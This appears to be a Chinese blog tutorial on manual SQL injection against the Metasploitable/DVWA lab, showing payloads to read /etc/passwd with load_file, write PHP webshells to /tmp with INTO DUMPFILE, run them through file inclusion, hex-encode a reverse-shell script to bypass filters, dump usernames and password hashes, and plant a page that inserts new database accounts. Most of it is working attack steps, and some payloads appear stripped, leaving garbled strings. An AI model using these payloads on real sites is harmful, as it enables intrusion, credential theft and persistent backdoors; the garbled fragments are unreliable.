2,sql注入 , 读文件和写文件

任务091:手动漏洞挖掘-SQL注入
这个是接着上一个1,SQL注入,查看服务器系统,拿到账号密码。写的
开始实验靶机metasploitable-linux-2.0.0
利用一个函数进行读取系统文件
下面都是用burp进行发送的请求
发送的请求是1234
2,sql注入 , 读文件和写文件_第1张图片
使用burp看看请求的内容
2,sql注入 , 读文件和写文件_第2张图片
在burp工具里发送到Repeater模块里
在这里面原始数据直接可以看见发的信息
双击就能修改里面的1234
2,sql注入 , 读文件和写文件_第3张图片
下面全部是使用的burp工具进行发送请求

  1. 读取文件/etc/passwd
    ' union SELECT null, load_file('/etc/passwd') --
    第一个字段 null是空的意思
    第二个字段load_file这个函数是读取文件的,然后读取的是/etc/passwd文件
    还可以查看其他文件,要看看你的权限够不够了
    看一下结果可以看见已经读取出来了
    2,sql注入 , 读文件和写文件_第4张图片
  2. 写文件发现是写不进去的

2.1. ' union select null,"" INTO DUMPFILE "/var/www/a.php" --
第一个字段null是空的意思
第二个字段是放的是""这个是一个页面木马,将他放到www目录下应为是页面木马
看一下结果发现没有叫这个木马文件写入到里面应为权限不够
应为权限只是sql进程的权限
2,sql注入 , 读文件和写文件_第5张图片
2.2.不指定绝对路径是可以写进去的
' union select null,"" INTO DUMPFILE " 'a.php' --
就算能写进去也找不到写进去的文件,就算能找到也有可能访问不了的
看一下结果
2,sql注入 , 读文件和写文件_第6张图片

  1. 利用sql注入在利用上节课的文件包含漏洞进行写入木马在利用木马
    ' union select null,"" INTO DUMPFILE "/tmp/a.php" --
    叫木马写到tmp文件里
    将木马文件写入到tmp目录里
    tmp目录是任何人都可以访问和修改文件的所以写入到tmp目录里
    然后在里用文件包含漏洞去运行写到tmp里被写入到木马文件
    看一结果发现已经写进去了
    2,sql注入 , 读文件和写文件_第7张图片
    在利用文件包含运行木马来施行命令
    看一下运行的结果可以运行
    2,sql注入 , 读文件和写文件_第8张图片

  2. 进行16进制编码
    有的情况会安全机制会过滤想比如php,<,>还有很多
    遇见这种情况我们可以进行各种编码
    下面我就用16进制编码
    用kali 的xxd来进行16进制编码
    4.1.发送反向连接shell
    kali自动一个php木马文件
    /usr/share/webshells/php/php-reverse-shell.php在这里插入图片描述
    叫木马的反向的ip设置成自己的
    2,sql注入 , 读文件和写文件_第9张图片
    开始16进制解析
    发现有有换行有换行的话会出现服务器解析不了
    2,sql注入 , 读文件和写文件_第10张图片
    下面是用个管道叫换行符删除。tr -d (要删除的东西)
    2,sql注入 , 读文件和写文件_第11张图片
    叫16编码好的用burp发送到服务器里
    向服务器端发送的时候用为字太多就发送失败了,你可以用一个少的shell木马这个就不演示了
    2,sql注入 , 读文件和写文件_第12张图片
    4.2.叫3.的php木马利用文件包来进行访问,下面是叫他进行16进制编码在进行实现一下
    ' union select null,"" INTO DUMPFILE "/tmp/a.php" --
    叫这个php的木马保存到b.php里
    在这里插入图片描述
    然后在进行16进制编码
    在这里插入图片描述
    可以看到已经写进去
    2,sql注入 , 读文件和写文件_第13张图片
    在利用文件包含运行木马来施行命令
    看一下运行的结果可以运行
    在这里插入图片描述

  3. 保持和下载数据库
    比如我们要查看账号密码数据库的话要是里面的有1万个账号密码web可能就崩溃了所有我们可以保存下载查看和批量查看
    ' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/ tmp/a.db'--
    查看到的账号密码OUTFILE到文件里然后在用文件包含漏洞进行访问,如果web可以文件包含漏洞,那只能批量访问了。
    看一下结果发送成功
    2,sql注入 , 读文件和写文件_第14张图片
    然后利用文件包含漏洞进行访问账号密码
    在这里插入图片描述

  4. 一个思路 web渗透可能会出现很多限制,意想不到的情况
    下面用这个php代码创建一个表单的页面然后在这个页面,然后在这个页面里用户账号数据库里面插入一个账号,
    就算拿到了密码现在的企业都是安全很高的,要进行密码解码破解是很难的,
    下面的代码也是通过sql漏洞那2个字段进行

' union select null,'"; echo 
"first_name: $first_name
"; echo "last_name: $last_name
"; echo "username: $username
"; echo "avatar: $avatar
"; $con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to database
"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\ \"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\ \")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error creating database: " . mysqli_error($con); } mysqli_close($con); } ?>
">





' INTO DUMPFILE '/tmp/user.php' --

下面就用浏览器的hackbar工具进行演示
看一下结果已经写进去了
2,sql注入 , 读文件和写文件_第15张图片
利用文件包含漏洞进行访问,可以看见可以添加密码了
2,sql注入 , 读文件和写文件_第16张图片

作者QQ2737977997

你可能感兴趣的:(sql注入,漏洞,手动漏洞挖掘,手动挖掘漏洞,sql注入)